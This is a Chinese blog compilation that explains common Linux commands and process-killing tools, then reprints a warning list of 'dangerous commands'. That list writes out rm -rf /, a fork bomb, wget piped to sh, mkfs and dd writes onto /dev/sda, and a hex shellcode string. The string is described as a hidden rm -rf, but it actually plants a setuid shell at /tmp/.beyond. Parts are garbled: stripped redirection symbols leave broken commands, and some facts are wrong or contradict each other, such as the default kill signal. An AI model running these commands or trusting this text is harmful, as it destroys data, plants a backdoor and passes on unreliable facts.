Linux系统中的命令实在是太多了,简单包括两类命令,一类是内部命令,指的是Shell自身提供的功能,一类是外部命令,指的是第三方的控制台应用程序。
网站建设哪家好,找成都创新互联!专注于网页设计、网站建设、微信开发、微信小程序开发、集团企业网站建设等服务项目。为回馈新老客户创新互联还提供了扶绥免费建站欢迎大家使用!
一般来说,没必要完全学习所有的命令,大体上有个印象,用到的时候去查一下帮助文档,久而久之,自然熟练。
下面是网友整理的20个最常用的Linux命令:
1. ls命令
ls命令是列出目录内容(List Directory Contents)的意思。运行它就是列出文件夹里的内容,可能是文件也可能是文件夹。
2. lsblk命令
"lsblk"就是列出块设备。除了RAM外,以标准的树状输出格式,整齐地显示块设备。
3. md5sum命令
“md5sum”就是计算和检验MD5信息签名。md5 checksum(通常叫做哈希)使用匹配或者验证文件的文件的完整性,因为文件可能因为传输错误,磁盘错误或者无恶意的干扰等原因而发生改变。
4. dd命令
“dd”命令代表了转换和复制文件。可以用来转换和复制文件,大多数时间是用来复制iso文件(或任何其它文件)到一个usb设备(或任何其它地方)中去,所以可以用来制作USB启动器。
6. history命令
“history”命令就是历史记录。它显示了在终端中所执行过的所有命令的历史。
7. sudo命令
“sudo”(super user do)命令允许授权用户执行超级用户或者其它用户的命令。通过在sudoers列表的安全策略来指定。
8. mkdir命令
“mkdir”(Make directory)命令在命名路径下创建新的目录。然而如果目录已经存在了,那么它就会返回一个错误信息"不能创建文件夹,文件夹已经存在了"("cannot create folder, folder already exists")
9. touch 命令
“touch”命令代表了将文件的访问和修改时间更新为当前时间。touch命令只会在文件不存在的时候才会创建它。如果文件已经存在了,它会更新时间戳,但是并不会改变文件的内容。
10. chmod 命令
“chmod”命令就是改变文件的模式位。chmod会根据要求的模式来改变每个所给的文件,文件夹,脚本等等的文件模式(权限)。
11. chown命令
“chown”命令就是改变文件拥有者和所在用户组。每个文件都属于一个用户组和一个用户。在你的目录下,使用"ls -l",你就会看到像这样的东西。
12. apt命令
Debian系列以“apt”命令为基础,“apt”代表了Advanced Package Tool。APT是一个为Debian系列系统(Ubuntu,Kubuntu等等)开发的高级包管理器,在Gnu/Linux系统上,它会为包自动地,智能地搜索,安装,升级以及解决依赖。
13. tar命令
“tar”命令是磁带归档(Tape Archive),对创建一些文件的的归档和它们的解压很有用。
14. cal 命令
“cal”(Calender),它用来显示当前月份或者未来或者过去任何年份中的月份。
16. cat命令
“cat”代表了连结(Concatenation),连接两个或者更多文本文件或者以标准输出形式打印文件的内容。
17. cp 命令
“copy”就是复制。它会从一个地方复制一个文件到另外一个地方。
18. mv 命令
“mv”命令将一个地方的文件移动到另外一个地方去。
19. pwd 命令
“pwd”(print working directory),在终端中显示当前工作目录的全路径。
20. cd 命令
最后,经常使用的“cd”命令代表了改变目录。它在终端中改变工作目录来执行,复制,移动,读,写等等操作。
方法一: Terminal终端输入: gnome-system-monitor,就可以打开system monitor
如图:
然后找到相应进程,右击选择kill process就可以了
方法二: 通过kill 进程id的方式可以实现,
首先需要知道进程id, 例如,想要杀死firefox的进程,通过 ps -ef|grep firefox,可以查到firefox的进程id:
然后通过 kill 3781 就可以关闭进程了.
补充: 1. kill -9 来强制终止退出, 例如: kill -9 3781
2.特殊用法:
kill -STOP [pid]
发送SIGSTOP (17,19,23)停止一个进程,而并不消灭这个进程。
kill -CONT [pid]
发送SIGCONT (19,18,25)重新开始一个停止的进程。
kill -KILL [pid]
发送SIGKILL (9)强迫进程立即停止,并且不实施清理操作。
kill -9 -1
终止你拥有的全部进程。
方法三: killall 通过程序的名字,来杀死进程
例如: killall firefox
注意: 该命令可以使用 -9 参数来强制杀死进程, killall -9 firefox
方法四: pkill 通过程序的名字, 直接杀死所有进程
例如: pkill firefox
方法五: 通过xkill 可以杀死图形程序应用, 例如firefox崩溃无响应,可以使用该命令.
例如: 用法xkill , 会出现一个白色的x, 然后用鼠标单击想要杀死的应用,如图
以下内容引用自:
◆编者注:
KILLALL(Section: User (1)/Updated: 1999年9月7日)
———————————————–
NAME (名称)
killall – 以名字方式来杀死进程
SYNOPSIS (总览)
killall [-egiqvw] [-signal] name …
killall -l
killall -V
DESCRIPTION (描述)
killall 发送一条信号给所有运行任意指定命令的进程. 如果没有指定信号名, 则发送SIGTERM.。
信号可以以名字 (如 -HUP ) 或者数字 (如 -1 ) 的方式指定. 信号 0 (检查进程是否存在)只能以数字方式指定。
如果命令名包括斜杠 (/), 那么执行该特定文件的进程将被杀掉, 这与进程名无关。
如果对于所列命令无进程可杀, 那么 killall 会返回非零值. 如果对于每条命令至少杀死了一个进程, killall 返回 0。Killall 进程决不会杀死自己 (但是可以杀死其它 killall 进程)。
OPTIONS (选项)
-e
对 于很长的名字, 要求准确匹配. 如果一个命令名长于 15 个字符, 则可能不能用整个名字 (溢出了). 在这种情况下, killall 会杀死所有匹配名字前 15 个字符的所有进程. 有了 -e 选项,这样的记录将忽略. 如果同时指定了 -v 选项, killall 会针对每个忽略的记录打印一条消息。
-g
杀死属于该进程组的进程. kill 信号给每个组只发送一次, 即使同一进程组中包含多个进程。
-i
交互方式,在杀死进程之前征求确认信息。
-l
列出所有已知的信号名。
-q
如果没有进程杀死, 不会提出抱怨。
-v
报告信号是否成功发送。
-V
显示版本信息。
-w
等待所有杀的进程死去. killall 会每秒检查一次是否任何被杀的进程仍然存在, 仅当都死光后才返回. 注意: 如果信号被忽略或没有起作用, 或者进程停留在僵尸状态, killall 可能会永久等待。
FILES(相关文件)
/proc proc文件系统的存在位置。
KNOWN bugS (已知 BUGS)
以文件方式杀死只对那些在执行时一直打开的可执行文件起作用, 也即, 混杂的可执行文件不能够通过这种方式杀死。
要警告的是输入 killall name 可能不会在非 Linux 系统上产生预期的效果, 特别是特权用户执行时要小心。
在两次扫描的间隙, 如果进程消失了而被代之以一个有同样 PID 的新进程, killall -w 侦测不到。
来源:
下面来了解相关命令:
一、查看进程的命令 有ps、pstree、pgrep等:
1、ps
显示进程信息,参数可省略
-aux 以BSD风格显示进程 常用
-efH 以System V风格显示进程
-e , -A 显示所有进程
a 显示终端上所有用户的进程
x 显示无终端进程
u 显示详细信息
f 树状显示
w 完整显示信息
l 显示长列表
在终端中执行ps aux,
各列输出字段的含义:
USER 进程所有者
PID 进程ID
PPID 父进程
%CPU CPU占用率
%MEM 内存占用率
NI 进程优先级。数值越大,占用CPU时间越少
VSZ 进程虚拟大小
RSS 页面文件占用
TTY 终端ID
STAT 进程状态
+---D 不可中断 Uninterruptible sleep (usually IO)
+---R 正在运行,或在队列中的进程
+---S 处于休眠状态
+---T 停止或被追踪
+---Z 僵尸进程
+---W 进入内存交换(从内核2.6开始无效)
+---X 死掉的进程
+--- 高优先级
+---N 低优先级
+---L 有些页被锁进内存
+---s 包含子进程
+---+ 位于后台的进程组;
+---l 多线程,克隆线程 multi-threaded (using CLONE_THREAD, like NPTL pthreads do)
PID:进程标识符,系统为每一个进程分配一个识别码,称为PID。
ps命令极为常用,其他命令还有:
2.pstree
树状显示进程信息
-a 显示完整命令及参数
-c 重复进程分别显示
-c 显示进程ID PID
-n 按 PID 排列进程
3.pgrep 进程名
显示进程的PID
-l 显示进程名和进程PID
-o 进程起始ID
-n 进程终止ID
二、结束进程的命令 有kill、pkill、killall、xkill等:
kill [信号代码] 进程PID
根据PID向进程发送信号,常用来结束进程,默认信号为 -9
信号代码,可取值如下:
-l [信号数字] 显示、翻译信号代码
-9 , -KILL 发送 kill 信号退出
-6 , -ABRT 发送 abort 信号退出
-15 , -TERM 发送 Termination 信号
-1 , -HUP 挂起
-2 , -INT 从键盘中断,相当于 Ctrl+c
-3 , -QUIT 从键盘退出,相当于 Ctrl+d
-4 , -ILL 非法指令
-11 , -SEGV 内存错误
-13 , -PIPE 破坏管道
-14 , -ALRM
-STOP 停止进程,但不结束
-CONT 继续运行已停止的进程
-9 -1 结束当前用户的所有进程
pkill 进程名
结束进程族。如果结束单个进程,请用 kill
killall 进程名
killall和pkill 应用方法差不多,也是直接杀死运行中的程序;如果您想杀掉单个进程,请用kill 来杀掉。
xkill
在图形界面中点杀进程。
当xkill运行时鼠标指针变为骷髅图案,哪个图形程序崩溃一点就OK了。如果您想终止xkill ,就按右键取消。
比如当firefox 出现崩溃不能退出时,点鼠标就能杀死firefox 。
xkill 调用方法:
[root@localhost ~]# xkill
来源:
linux中pkill的简单用法
pkill 和killall 应用方法差不多,也是直接杀死运行中的程序;如果您想杀掉单个进程,请用kill 来杀掉。
必要参数
-f 显示完整程序
-l 显示源代码
-n 显示新程序
-o 显示旧程序
-v 与条件不符合的程序
-x 与条件符合的程序
选择参数
-p进程号 列出父进程为用户指定进程的进程信息
-t终端 指定终端下的所有程序
-u用户 指定用户的程序
应用方法:
#pkill 正在运行的程序名
举例:
Java代码
[root@localhost beinan]# pgrep -l gaim
2979 gaim
[root@localhost beinan]# pkill gaim
也就是说:
kill 对应的是 PID
pkill 对应的是COMMAND
例如在Ubuntu中强制结束一个已成僵尸的名称为:firefox,PID为:1603的进程,可以如下操作:
方法一:
(1)ctrl+alt+t,调出终端,输入 top,然后就可以看到现在系统的进程,是按占用资源从多到少排列的。
找到要关掉的进程,记下该进程第一列的数字编号(假设是xx),然后输入q,退回终端。
(2)输入:sudo kill xx(对应刚才的编号)。
方法二:
ctrl+alt+t,调出终端,输入:sudo pkill firefox
范例1: 杀死指定进程
Java代码
root@snail-hnlinux:~# ps -A //显示所有进程
PID TTY TIME CMD
1 ? 00:00:03 init
2 ? 00:00:00 kthreadd
3 ? 00:00:00 migration/0
4 ? 00:00:00 ksoftirqd/0
5 ? 00:00:00 watchdog/0
……忽略部分
28382 ? 00:00:00 gvfsd-http
28391 ? 00:07:07 software-center
30467 ? 00:00:31 designer-qt4
30487 ? 00:00:06 gnome-terminal
30488 ? 00:00:00 gnome-pty-helpe
30489 pts/0 00:00:00 bash
30670 ? 00:00:00 debconf-communi
30749 pts/0 00:00:17 gedit
31155 ? 00:00:00 dhclient
31325 ? 00:00:01 sshd
31327 ? 00:00:00 sshd
31400 pts/1 00:00:00 bash
31485 pts/2 00:00:00 bash
31653 ? 00:00:00 aptd
31658 pts/1 00:00:00 ps
root@snail-hnlinux:~# pidof sshd //查看与sshd相关进程
31327 31325 2095
root@snail-hnlinux:~# pkill -9 sshd //杀死指定进程
范例2:杀死同义终端下的进程
Java代码
root@snail-hnlinux:~# pkill -t tty1 //杀死终端1下的所有进程
范例3: 杀死指定用户进程
Java代码
root@snail-hnlinux:~# pkill -u hnlinux
范例4:反向选择
Java代码
root@snail-hnlinux:~# pkill -vu hnlinux //杀死不属于hnlinux用户的所有进程
————————————————
版权声明:本文为CSDN博主「MrCoderr」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:
Linux中最危险的10个命令
对于编程人员或或者Linux系统管理员来说,操作Linux系统最常见的方法就是使用命令行。当然,Linux命令行佷有用、很高效,但有时候也很危险,尤其是在你误操作或者不确定你自己在正在做什么的时候。下面我就为大家盘点最危险是10个命令,一起来看看吧!
当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普 通用户身份下,破坏的只是自己的一亩三分地。
1. rm -rf 命令
rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm 命令的选项。
rm 命令在Linux下通常用来删除文件。
rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)
rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数 只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来 要求删除确认,而-f则抑制了这个提示。)
rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
rm -rf *: 强制删除当前目录的所有文件。
rm -rf . : 强制删除当前文件夹及其子文件夹。
从 现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好 你在做什么!译者本人有着血泪的教训啊。)
2. :(){:|:};: 命令
这就是个fork 炸弹的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
:(){:|:};:
哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~
3. 命令 /dev/sda
上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4. mv 文件夹 /dev/null
这 个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止 数据恢复软件的救赎,所以,真正的`彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)
# mv /home/user/* /dev/null
上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。
注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)
6. mkfs.ext3 /dev/sda
上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱 动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设 备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁 灭性的,上面的数据都会被蒸发了。)
7. file
上列命令常用来清空文件内容(译注:通常也用于记录命令输出。 不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是 “”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。
8. ^foo^bar
这个命令在“鲜为人知而又实用的 Linux 命令大全:”中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)
10. 隐藏命令
下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令,因为这将导致数据丢失或者系统崩溃。如果你想测试它们,请在虚拟机上运行。
;
Linux kill 命令用于删除执行中的程序或工作。
kill 可将指定的信息送至程序。预设的信息为 SIGTERM(15),可将指定程序终止。若仍无法终止该程序,可使用 SIGKILL(9) 信息尝试强制删除程序。程序或工作的编号可利用 ps 指令或 jobs 指令查看。kill %1这条命令表示杀死一个后台程序,这个后台程序的“工作号码(jobnumber)”是1号。命令查询看下图: